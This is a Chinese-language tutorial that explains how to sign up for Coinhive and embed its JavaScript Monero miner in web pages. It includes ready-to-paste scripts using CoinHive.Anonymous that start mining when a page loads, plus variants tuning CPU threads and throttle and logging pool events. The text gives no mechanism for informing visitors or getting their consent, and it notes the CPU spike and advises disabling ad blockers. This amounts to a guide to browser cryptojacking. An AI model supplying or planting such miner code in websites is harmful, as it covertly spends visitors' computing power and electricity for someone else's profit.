挖矿教程: 注册Coinhive网站 利用js网页挖掘门罗币教程

文章目录
  1. 体验JS挖矿
  2. 一、注册挖矿平台
  3. 二、部署挖矿代码
  4. 三、运行效果
  5. 四、代码改进

体验JS挖矿

门罗币网页挖掘体验地址:https://authedmine.com/media/miner.html?key=cnJr6roVfJEJSacRV8Z0NxtSKm8KIesL

点击START MINING(开始挖矿)之后,可以看到灰色的柱状体,至此js挖矿就正式开始了。

可以点击THREADS(线程)来加大cpu参与挖掘的核数,点击SPEED(空闲时间)可以通过控制cpu的休息时间来改变挖掘速度。

注意:挖掘页面请关闭adblock等js广告拦截插件,以免核心js被拦截无法正常显示页面

一、注册挖矿平台

注册链接:https://coinhive.com/account/signup

1、注册账号

直接输入你的邮箱帐号和密码,然后勾选验证码的框,等待一段时间,在邮箱中点击激活链接通过即可。

2、进入设置,设置支付信息

此处的地址为你门罗币的钱包地址,若你还没有门罗币钱包,可以参阅:门罗币(XMR)获得钱包地址教程

3、设置API Keys

这个key会在后面获取挖矿代码时用到

二、部署挖矿代码

将包含SiteKey的js代码部署到网页中

<script>
    var miner = new CoinHive.Anonymous('cnJr6roVfJEJSacRV8Z0NxtSKm8KIesL');
    miner.start();
</script>

此处cnJr6roVfJEJSacRV8Z0NxtSKm8KIesL这一串字符即为刚刚得到的site key

三、运行效果

可以看到CPU明显飙升,关掉网页,立马就降下来了

这时候你去Dashboard上就能查看挖矿进展,有时可能会有部分延迟。访问地址: https://coinhive.com/dashboard

四、代码改进

1、初始版本的网页挖矿代码。

<script>
    var miner = new CoinHive.Anonymous('cnJr6roVfJEJSacRV8Z0NxtSKm8KIesL');
    miner.start();
</script>

2、限制CPU 60% 代码

<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
    if (navigator.hardwareConcurrency > 1) {
        var cpuConfig = {
            threads: Math.round(navigator.hardwareConcurrency / 2)
        }
    } else {
        var cpuConfig = {
            throttle: 0.6
        }
    }
    var miner = new CoinHive.Anonymous('cnJr6roVfJEJSacRV8Z0NxtSKm8KIesL',cpuConfig);
    miner.start();
</script>

可以很明显看到cpu的运行占比立马有了很大的下降

3、通过官方api接口 在运行时返回信息的完整例子

<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
    if (navigator.hardwareConcurrency > 1) {
        var cpuConfig = {
            threads: Math.round(navigator.hardwareConcurrency / 2),
            throttle: 0.6
        }
    } else {
        var cpuConfig = {
            throttle: 0.6
        }
    }
    var miner = new CoinHive.Anonymous('cnJr6roVfJEJSacRV8Z0NxtSKm8KIesL',cpuConfig);
    miner.start(CoinHive.IF_EXCLUSIVE_TAB);
    miner.on('open', function (params) {
        console.log('he connection to our mining pool was opened', params);
    });
    miner.on('authed', function (params) {
        console.log('The miner successfully authed ,Token name is: ', miner.getToken());
    });
    miner.on('close', function (params) {
        console.log('he connection to the pool was closed', params);
    });
    miner.on('error', function (params) {
        if (params.error !== 'connection_error') {
            console.log('An error occured', params.error);
        }
    });
    miner.on('job', function (params) {
        console.log('A new mining job was received from the pool', params);
        console.log('miner.getHashesPerSecond()', miner.getHashesPerSecond());
        console.log('miner.getThrottle()', miner.getThrottle());
        console.log('miner.getNumThreads()', miner.getNumThreads());

    });
    miner.on('found', function (params) {
        console.log('A hash was found and will be send to the pool', params);
        console.log('miner.getTotalHashes', miner.getTotalHashes());
    });
    miner.on('accepted', function (params) {
        console.log('A hash that was sent to the pool was accepted', params);
        console.log('miner.getAcceptedHashes', miner.getAcceptedHashes());
    });
</script>